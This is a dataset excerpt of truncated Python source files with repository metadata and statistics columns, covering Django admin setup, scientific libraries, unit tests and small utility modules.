admin.site.register(CustomUser)
admin.site.register(Equipment)
admin.site.register(Search)
admin.site.register(Reserved)
admin.site.register(Request)
admin.site.regist... | 29.571429 | 64 | 0.818841 | 56 | 414 | 6.053571 | 0.303571 | 0.238938 | 0.451327 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.070048 | 414 | 13 | 65 | 31.846154 | 0.880519 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.25 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
d22b01be86bac13ebfe2589a8209e5b7006474c3 | 641 | py | Python | skeptic/functions/error.py | George3d6/skeptic | 84fb8907ae70ed6505d4c6a82b1b42cc51f84cbc | [
"BSD-2-Clause"
] | null | null | null | skeptic/functions/error.py | George3d6/skeptic | 84fb8907ae70ed6505d4c6a82b1b42cc51f84cbc | [
"BSD-2-Clause"
] | null | null | null | skeptic/functions/error.py | George3d6/skeptic | 84fb8907ae70ed6505d4c6a82b1b42cc51f84cbc | [
"BSD-2-Clause"
] | null | null | null | import numpy as np
from sklearn.metrics import balanced_accuracy_score
def ma_pct_acc(Y, Yh):
'''
Implementation of mean absloute percentage accuracy as the inverse of the error defined here: https://en.wikipedia.org/wiki/Mean_absolute_percentage_error
'''
Y = np.array(Y)
Yh = np.array(Yh)
... | 32.05 | 162 | 0.708268 | 96 | 641 | 4.614583 | 0.541667 | 0.03386 | 0.142212 | 0.090293 | 0.099323 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001927 | 0.190328 | 641 | 19 | 163 | 33.736842 | 0.851638 | 0.527301 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.052632 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
d23ab6c93ad8d73ad9b339e81a48eae264b42cc6 | 185 | py | Python | snippets/popular_libraries/plum-bum/intro.py | melvio/python3-examples | 5340fe17e0a5001a81cf195e63f825b77dc16fca | [
"Apache-2.0"
] | null | null | null | snippets/popular_libraries/plum-bum/intro.py | melvio/python3-examples | 5340fe17e0a5001a81cf195e63f825b77dc16fca | [
"Apache-2.0"
] | null | null | null | snippets/popular_libraries/plum-bum/intro.py | melvio/python3-examples | 5340fe17e0a5001a81cf195e63f825b77dc16fca | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
from plumbum.cmd import echo
pseudo_json = {'hi': 'there'}
cmd = echo[pseudo_json] # /usr/bin/echo {'hi': 'there'}
print(cmd)
print(cmd()) # {'hi': 'there'}
| 18.5 | 56 | 0.627027 | 28 | 185 | 4.071429 | 0.5 | 0.184211 | 0.245614 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006329 | 0.145946 | 185 | 9 | 57 | 20.555556 | 0.71519 | 0.362162 | 0 | 0 | 0 | 0 | 0.06087 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.2 | 0.4 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
d254b8cb518c3ea7f65e2e35fd93f7d6e4521bd7 | 1,216 | py | Python | exercises/0322-CoinChange/coin_change_test.py | tqa236/leetcode-solutions | 556147981c43509a6e8a7f59f138d1ab027ebfd1 | [
"MIT"
] | 1 | 2020-09-26T15:09:25.000Z | 2020-09-26T15:09:25.000Z | exercises/0322-CoinChange/coin_change_test.py | tqa236/leetcode-solutions | 556147981c43509a6e8a7f59f138d1ab027ebfd1 | [
"MIT"
] | null | null | null | exercises/0322-CoinChange/coin_change_test.py | tqa236/leetcode-solutions | 556147981c43509a6e8a7f59f138d1ab027ebfd1 | [
"MIT"
] | null | null | null | import unittest
import hypothesis.strategies as st
from hypothesis import given
from coin_change import Solution
class Test(unittest.TestCase):
def test_1(self):
solution = Solution()
self.assertEqual(solution.coinChange([1, 2, 5], 11), 3)
def test_2(self):
solution = Solution()
... | 28.27907 | 78 | 0.623355 | 150 | 1,216 | 4.933333 | 0.32 | 0.075676 | 0.216216 | 0.335135 | 0.578378 | 0.578378 | 0.512162 | 0.368919 | 0.222973 | 0 | 0 | 0.062165 | 0.23273 | 1,216 | 43 | 79 | 28.27907 | 0.730975 | 0.238487 | 0 | 0.24 | 0 | 0 | 0.008705 | 0 | 0 | 0 | 0 | 0 | 0.24 | 1 | 0.24 | false | 0 | 0.16 | 0 | 0.44 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
d26316516fb12bfdb184b219ee197585d646ba8c | 1,237 | py | Python | locuszoom_plotting_service/users/adapters.py | statgen/locuszoom-hosted | ecfcc5f48fefe2869ab277202a661c2575af6abb | [
"MIT"
] | null | null | null | locuszoom_plotting_service/users/adapters.py | statgen/locuszoom-hosted | ecfcc5f48fefe2869ab277202a661c2575af6abb | [
"MIT"
] | 14 | 2021-01-01T17:16:23.000Z | 2022-02-28T19:37:28.000Z | locuszoom_plotting_service/users/adapters.py | statgen/locuszoom-hosted | ecfcc5f48fefe2869ab277202a661c2575af6abb | [
"MIT"
] | null | null | null | from typing import Any
from allauth.account.adapter import DefaultAccountAdapter
from allauth.socialaccount.adapter import DefaultSocialAccountAdapter
from django.conf import settings
from django.core.exceptions import ValidationError
from django.http import HttpRequest
class AccountAdapter(DefaultAccountAdapter):
... | 41.233333 | 115 | 0.750202 | 150 | 1,237 | 6.12 | 0.613333 | 0.03268 | 0.019608 | 0.026144 | 0.087146 | 0.087146 | 0.087146 | 0.087146 | 0 | 0 | 0 | 0.004926 | 0.179466 | 1,237 | 29 | 116 | 42.655172 | 0.899507 | 0.265158 | 0 | 0 | 0 | 0 | 0.080738 | 0.029988 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1875 | false | 0 | 0.375 | 0.125 | 0.8125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 3 |
d273970ede0f3facde5d9e95372f491327255f07 | 475 | py | Python | _note_/_shutil_.py | By2048/_python_ | be57738093676a1273e6f69232723669e408986e | [
"MIT"
] | 2 | 2017-02-16T14:50:33.000Z | 2018-02-03T01:49:06.000Z | _note_/_shutil_.py | By2048/_python_ | be57738093676a1273e6f69232723669e408986e | [
"MIT"
] | null | null | null | _note_/_shutil_.py | By2048/_python_ | be57738093676a1273e6f69232723669e408986e | [
"MIT"
] | null | null | null | import shutil
shutil.get_archive_formats()
shutil.make_archive('/tmp/f1', 'zip', root_dir='/tmp/f1/')
shutil.move('/tmp/f1', '/tmp/f2')
shutil.copytree('/tmp/f1/', '/tmp/f2/')
shutil.copytree('/tmp/f1/', '/tmp/f2/', ignore=shutil.ignore_patterns('*.pyc', 'tmp*'))
shutil.rmtree('/tmp/f1/')
shutil.copy('/tmp/f1', '/tmp... | 31.666667 | 87 | 0.646316 | 74 | 475 | 4.081081 | 0.310811 | 0.182119 | 0.211921 | 0.264901 | 0.403974 | 0.192053 | 0.192053 | 0.192053 | 0.192053 | 0.192053 | 0 | 0.044643 | 0.056842 | 475 | 14 | 88 | 33.928571 | 0.629464 | 0 | 0 | 0 | 0 | 0 | 0.317895 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.083333 | 0 | 0.083333 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
96286ded532822bc79aa8f182ed0a84cf13dad46 | 3,343 | py | Python | chaospy/distributions/collection/gamma.py | utsekaj42/chaospy | 0fb23cbb58eb987c3ca912e2a20b83ebab0514d0 | [
"MIT"
] | 333 | 2016-10-25T12:00:48.000Z | 2022-03-30T07:50:33.000Z | chaospy/distributions/collection/gamma.py | utsekaj42/chaospy | 0fb23cbb58eb987c3ca912e2a20b83ebab0514d0 | [
"MIT"
] | 327 | 2016-09-25T16:29:41.000Z | 2022-03-30T03:26:27.000Z | chaospy/distributions/collection/gamma.py | utsekaj42/chaospy | 0fb23cbb58eb987c3ca912e2a20b83ebab0514d0 | [
"MIT"
] | 74 | 2016-10-17T11:14:13.000Z | 2021-12-09T10:55:59.000Z | """Gamma distribution."""
import numpy
from scipy import special
from ..baseclass import SimpleDistribution, ShiftScaleDistribution
class gamma(SimpleDistribution):
def __init__(self, a=1):
super(gamma, self).__init__(dict(a=a))
def _pdf(self, x, a):
return x**(a-1)*numpy.e**(-x)/special.ga... | 27.178862 | 66 | 0.518696 | 431 | 3,343 | 3.946636 | 0.234339 | 0.035273 | 0.051734 | 0.035273 | 0.4903 | 0.424456 | 0.346855 | 0.346855 | 0.30923 | 0.30923 | 0 | 0.08726 | 0.314388 | 3,343 | 122 | 67 | 27.401639 | 0.654887 | 0.564762 | 0 | 0.108108 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.27027 | false | 0 | 0.081081 | 0.189189 | 0.621622 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
962f76c92089823307d591039b72f7cd22f55f08 | 1,189 | py | Python | webtool/server/admin.py | wodo/WebTool3 | 1582a03d619434d8a6139f705a1b5860e9b5b8b8 | [
"BSD-2-Clause"
] | 13 | 2018-12-16T21:01:24.000Z | 2019-07-03T06:23:41.000Z | webtool/server/admin.py | dav-kempten/WebTool3 | 859f39df67cb0f853c7fe33cb5d08b999d8692fc | [
"BSD-2-Clause"
] | 26 | 2019-07-07T06:44:06.000Z | 2021-09-07T07:28:34.000Z | webtool/server/admin.py | dav-kempten/WebTool3 | 859f39df67cb0f853c7fe33cb5d08b999d8692fc | [
"BSD-2-Clause"
] | 3 | 2017-06-18T06:22:52.000Z | 2019-07-03T06:21:05.000Z | from django.contrib import admin
from django.contrib.auth.admin import User
from server.models.collective import Collective, Session
from server.models.qualification import Qualification, QualificationGroup
from server.models.instruction import Instruction, Topic
from server.models.category import Category, CategoryGro... | 29 | 73 | 0.83852 | 147 | 1,189 | 6.768707 | 0.231293 | 0.135678 | 0.239196 | 0.050251 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.078217 | 1,189 | 40 | 74 | 29.725 | 0.907847 | 0.076535 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.423077 | 0 | 0.423077 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
964492a4d0eaf338ab8240263eedee2a98a048db | 9,387 | py | Python | qiskit_ibm_runtime/__init__.py | rathishcholarajan/qiskit-ibm-runtime | 315a088a844dc8aa4452bde6136b53694dfb3220 | [
"Apache-2.0"
] | null | null | null | qiskit_ibm_runtime/__init__.py | rathishcholarajan/qiskit-ibm-runtime | 315a088a844dc8aa4452bde6136b53694dfb3220 | [
"Apache-2.0"
] | null | null | null | qiskit_ibm_runtime/__init__.py | rathishcholarajan/qiskit-ibm-runtime | 315a088a844dc8aa4452bde6136b53694dfb3220 | [
"Apache-2.0"
] | null | null | null | # This code is part of Qiskit.
#
# (C) Copyright IBM 2022.
#
# This code is licensed under the Apache License, Version 2.0. You may
# obtain a copy of this license in the LICENSE.txt file in the root directory
# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.
#
# Any modifications or derivative wo... | 35.157303 | 97 | 0.738468 | 1,255 | 9,387 | 5.440637 | 0.274104 | 0.026362 | 0.046866 | 0.016696 | 0.184681 | 0.141916 | 0.123169 | 0.118043 | 0.08553 | 0.071178 | 0 | 0.001669 | 0.170235 | 9,387 | 266 | 98 | 35.289474 | 0.874952 | 0.882497 | 0 | 0 | 0 | 0 | 0.08528 | 0.064252 | 0 | 0 | 0 | 0.003759 | 0 | 1 | 0 | false | 0 | 0.565217 | 0 | 0.565217 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
964f8b0ef168e01380c77ffdd8150df7996bd18b | 425 | py | Python | grammar.py | prtx/SLR-Parser-Implementation | d73bb54763219fdc1becf0e4179e1a49517d7242 | [
"MIT"
] | null | null | null | grammar.py | prtx/SLR-Parser-Implementation | d73bb54763219fdc1becf0e4179e1a49517d7242 | [
"MIT"
] | null | null | null | grammar.py | prtx/SLR-Parser-Implementation | d73bb54763219fdc1becf0e4179e1a49517d7242 | [
"MIT"
] | 1 | 2020-06-25T04:03:14.000Z | 2020-06-25T04:03:14.000Z | from context_free_grammar import Context_Free_Grammar
def Grammar():
grammar = Context_Free_Grammar()
grammar.add_terminal('+', '*', '(', ')', 'id')
grammar.add_non_terminal('E', 'T', 'F')
grammar.set_start_symbol('E')
grammar.add_production_rule('E', ['E', '+', 'T'], ['T'])
grammar.add_production_rule('T... | 23.611111 | 58 | 0.614118 | 55 | 425 | 4.436364 | 0.345455 | 0.204918 | 0.221311 | 0.295082 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.127059 | 425 | 17 | 59 | 25 | 0.657682 | 0 | 0 | 0 | 0 | 0 | 0.061321 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.1 | 0 | 0.3 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
9658362fa7fbb40495ffba85d37c4d7bab283af2 | 64 | py | Python | scripts/download/download.py | GalAster/Twossoms | 5011c07d4662c3b81d433fc8b6d076b0b17ed0d8 | [
"CC0-1.0"
] | 1 | 2019-03-01T00:48:05.000Z | 2019-03-01T00:48:05.000Z | scripts/download/download.py | GalAster/Twossoms | 5011c07d4662c3b81d433fc8b6d076b0b17ed0d8 | [
"CC0-1.0"
] | null | null | null | scripts/download/download.py | GalAster/Twossoms | 5011c07d4662c3b81d433fc8b6d076b0b17ed0d8 | [
"CC0-1.0"
] | null | null | null | latest = "https://github.com/GalAster/Twossoms/releases/latest"
| 32 | 63 | 0.78125 | 8 | 64 | 6.25 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.046875 | 64 | 1 | 64 | 64 | 0.819672 | 0 | 0 | 0 | 0 | 0 | 0.8125 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
965ddeadff84d31e57ad97652f59a52dfdc38abf | 507 | py | Python | app.py | rcmachado/cookiecutter-search | d7c9ebd931f6b93c3d0d3b05d2478be797404d7a | [
"MIT"
] | null | null | null | app.py | rcmachado/cookiecutter-search | d7c9ebd931f6b93c3d0d3b05d2478be797404d7a | [
"MIT"
] | null | null | null | app.py | rcmachado/cookiecutter-search | d7c9ebd931f6b93c3d0d3b05d2478be797404d7a | [
"MIT"
] | null | null | null | # coding: utf-8
from tornado.ioloop import IOLoop
from cookiecutter_search import config
from cookiecutter_search.application import MainApplication
from cookiecutter_search.urls import urlpatterns
if __name__ == '__main__':
app_config = {
'debug': config.DEBUG,
'static_path': 'cookiecutter_searc... | 28.166667 | 59 | 0.731755 | 55 | 507 | 6.436364 | 0.490909 | 0.254237 | 0.186441 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002375 | 0.169625 | 507 | 17 | 60 | 29.823529 | 0.83848 | 0.025641 | 0 | 0 | 0 | 0 | 0.191057 | 0.115854 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.307692 | 0 | 0.307692 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
9676e04f5a6786894f0d159d0af1bd9c0483d35a | 457 | py | Python | pyro/contrib/gp/models/__init__.py | cweniger/pyro | ba104f07ca17865d2600e8765d920d549fcb3fbc | [
"MIT"
] | 10 | 2020-03-18T14:41:25.000Z | 2021-07-04T08:49:57.000Z | pyro/contrib/gp/models/__init__.py | cweniger/pyro | ba104f07ca17865d2600e8765d920d549fcb3fbc | [
"MIT"
] | 19 | 2018-10-30T13:45:31.000Z | 2019-09-27T14:16:57.000Z | pyro/contrib/gp/models/__init__.py | cweniger/pyro | ba104f07ca17865d2600e8765d920d549fcb3fbc | [
"MIT"
] | 5 | 2020-06-21T23:40:35.000Z | 2021-11-09T16:18:42.000Z | from pyro.contrib.gp.models.gplvm import GPLVM
from pyro.contrib.gp.models.gpr import GPRegression
from pyro.contrib.gp.models.model import GPModel
from pyro.contrib.gp.models.sgpr import SparseGPRegression
from pyro.contrib.gp.models.vgp import VariationalGP
from pyro.contrib.gp.models.vsgp import VariationalSparseGP
... | 28.5625 | 59 | 0.772429 | 55 | 457 | 6.345455 | 0.327273 | 0.137536 | 0.25788 | 0.292264 | 0.395415 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129103 | 457 | 15 | 60 | 30.466667 | 0.876884 | 0 | 0 | 0 | 0 | 0 | 0.161926 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.428571 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
9676e31827673fb81102a3d1c887cab0cd874307 | 1,028 | py | Python | Section_5/Exercise_06.py | Szymon-Budziak/WDI_exercises_solutions | 51ffc9ec8b3cd6809bd55e98ecb8aed759c2d460 | [
"MIT"
] | null | null | null | Section_5/Exercise_06.py | Szymon-Budziak/WDI_exercises_solutions | 51ffc9ec8b3cd6809bd55e98ecb8aed759c2d460 | [
"MIT"
] | null | null | null | Section_5/Exercise_06.py | Szymon-Budziak/WDI_exercises_solutions | 51ffc9ec8b3cd6809bd55e98ecb8aed759c2d460 | [
"MIT"
] | 1 | 2021-11-21T09:38:33.000Z | 2021-11-21T09:38:33.000Z | """
Liczby zespolone są reprezentowane przez krotkę (re, im). Gdzie: re - część rzeczywista liczby,
im - część urojona liczby. Proszę napisać podstawowe operacje na liczbach zespolonych,
m.in. dodawanie, odejmowanie, mnożenie, dzielenie, potęgowanie, wypisywanie i wczytywanie.
"""
from math import sqrt, cos, sin
def ... | 25.7 | 95 | 0.560311 | 180 | 1,028 | 3.177778 | 0.377778 | 0.027972 | 0.031469 | 0.062937 | 0.146853 | 0.146853 | 0.146853 | 0.146853 | 0.122378 | 0.122378 | 0 | 0.049242 | 0.229572 | 1,028 | 39 | 96 | 26.358974 | 0.67298 | 0.311284 | 0 | 0 | 0 | 0 | 0.002857 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.315789 | false | 0 | 0.052632 | 0.210526 | 0.684211 | 0.052632 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
9692b34f2b5cf59a715c085a492483a181531406 | 1,018 | py | Python | tests/test_articles.py | koyoo-maxwel/highlights | 9f551c64f7d1be440117d3f843f0f0671caf03f4 | [
"MIT"
] | null | null | null | tests/test_articles.py | koyoo-maxwel/highlights | 9f551c64f7d1be440117d3f843f0f0671caf03f4 | [
"MIT"
] | null | null | null | tests/test_articles.py | koyoo-maxwel/highlights | 9f551c64f7d1be440117d3f843f0f0671caf03f4 | [
"MIT"
] | null | null | null | import unittest
from app.models import Articles
class TestArticles(unittest.TestCase):
'''
Test class to test the behavior of the articles class
'''
def setUp(self):
'''
Test class to run before other tests
'''
self.new_article = Articles('koyoo','sales is advanced','the... | 40.72 | 122 | 0.68664 | 126 | 1,018 | 5.452381 | 0.420635 | 0.071325 | 0.142649 | 0.167394 | 0.358079 | 0.139738 | 0.139738 | 0.139738 | 0 | 0 | 0 | 0.017178 | 0.199411 | 1,018 | 25 | 123 | 40.72 | 0.825767 | 0.088409 | 0 | 0 | 0 | 0 | 0.292135 | 0 | 0 | 0 | 0 | 0 | 0.428571 | 1 | 0.214286 | false | 0 | 0.142857 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
96a09075f26029c812a08fc6172cd3271eeb2071 | 1,073 | py | Python | tests/v1/test_logs_status_remapper.py | MichaelTROEHLER/datadog-api-client-python | 12c46626622fb1277bb1e172753b342c671348bd | [
"Apache-2.0"
] | null | null | null | tests/v1/test_logs_status_remapper.py | MichaelTROEHLER/datadog-api-client-python | 12c46626622fb1277bb1e172753b342c671348bd | [
"Apache-2.0"
] | null | null | null | tests/v1/test_logs_status_remapper.py | MichaelTROEHLER/datadog-api-client-python | 12c46626622fb1277bb1e172753b342c671348bd | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
# Unless explicitly stated otherwise all files in this repository are licensed under the Apache-2.0 License.
# This product includes software developed at Datadog (https://www.datadoghq.com/).
# Copyright 2019-Present Datadog, Inc.
from __future__ import absolute_import
import sys
import unittest
im... | 27.512821 | 108 | 0.746505 | 130 | 1,073 | 5.915385 | 0.592308 | 0.052016 | 0.083225 | 0.093628 | 0.146944 | 0.146944 | 0.106632 | 0.106632 | 0 | 0 | 0 | 0.015909 | 0.17987 | 1,073 | 38 | 109 | 28.236842 | 0.857955 | 0.383038 | 0 | 0.157895 | 0 | 0 | 0.094574 | 0.082171 | 0 | 0 | 0 | 0.026316 | 0 | 1 | 0.157895 | false | 0.157895 | 0.368421 | 0 | 0.578947 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 3 |
96b2b6c8dc9b4ec999de72b5e023045243717609 | 218 | py | Python | custom_components/carson/const.py | rado0x54/ha-carson-living | b3be3f9608b60e4023829f7f055719f1c13cbcd8 | [
"MIT"
] | 1 | 2020-11-23T19:36:27.000Z | 2020-11-23T19:36:27.000Z | custom_components/carson/const.py | rado0x54/ha-carson-living | b3be3f9608b60e4023829f7f055719f1c13cbcd8 | [
"MIT"
] | 2 | 2020-11-23T21:33:16.000Z | 2020-11-23T22:54:28.000Z | custom_components/carson/const.py | rado0x54/ha-carson-living | b3be3f9608b60e4023829f7f055719f1c13cbcd8 | [
"MIT"
] | null | null | null | """Constants for the Carson integration."""
DOMAIN = "carson"
UNLOCKED_TIMESPAN_SEC = 5
ATTRIBUTION = "provided by Eagle Eye"
CONF_LIST_FROM_EAGLE_EYE = "list_from_eagle_eye"
DEFAULT_CONF_LIST_FROM_EAGLE_EYE = False
| 24.222222 | 48 | 0.802752 | 32 | 218 | 5.03125 | 0.625 | 0.198758 | 0.242236 | 0.298137 | 0.248447 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005181 | 0.114679 | 218 | 8 | 49 | 27.25 | 0.829016 | 0.169725 | 0 | 0 | 0 | 0 | 0.262857 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
7365f7ff5b9a151f031af210ef1f64784f2994fe | 534 | py | Python | vk_channelify/vk_errors.py | reo7sp/vk-channelify | 06e513d8aef456bc91b927102d542fb444cf8502 | [
"MIT"
] | 21 | 2017-05-01T11:25:59.000Z | 2022-03-01T20:10:15.000Z | vk_channelify/vk_errors.py | reo7sp/vk-channelify | 06e513d8aef456bc91b927102d542fb444cf8502 | [
"MIT"
] | 6 | 2017-05-06T01:55:30.000Z | 2018-06-27T20:00:26.000Z | vk_channelify/vk_errors.py | reo7sp/vk-channelify | 06e513d8aef456bc91b927102d542fb444cf8502 | [
"MIT"
] | 3 | 2017-05-30T12:13:41.000Z | 2018-03-17T18:18:46.000Z | class VkError(Exception):
def __init__(self, code, message, request_params):
super(VkError, self).__init__()
self.code = code
self.message = message
self.request_params = request_params
def __str__(self):
return 'VkError {}: {} (request_params: {})'.format(self.code, sel... | 35.6 | 105 | 0.694757 | 58 | 534 | 5.931034 | 0.258621 | 0.264535 | 0.104651 | 0.209302 | 0.232558 | 0.232558 | 0.232558 | 0.232558 | 0 | 0 | 0 | 0 | 0.191011 | 534 | 14 | 106 | 38.142857 | 0.796296 | 0 | 0 | 0.181818 | 0 | 0 | 0.065543 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.272727 | false | 0 | 0 | 0.090909 | 0.545455 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
737c2561ba89ca6632acd0136d14057de7d2cc6c | 3,665 | py | Python | pygrocydm/grocy_datamanager.py | fossabot/pygrocydm | 6da0c1eda19c6059941440465ac815cead2760b3 | [
"MIT"
] | null | null | null | pygrocydm/grocy_datamanager.py | fossabot/pygrocydm | 6da0c1eda19c6059941440465ac815cead2760b3 | [
"MIT"
] | null | null | null | pygrocydm/grocy_datamanager.py | fossabot/pygrocydm | 6da0c1eda19c6059941440465ac815cead2760b3 | [
"MIT"
] | null | null | null | from .battery import BATTERIES_ENDPOINT, Battery
from .chore import CHORES_ENDPOINT, Chore
from .equipment import EQUIPMENT_ENDPOINT, Equipment
from .grocy_api_client import (DEFAULT_PORT_NUMBER, GrocyApiClient,
GrocyEntityList)
from .location import LOCATION_ENDPOINT, Location
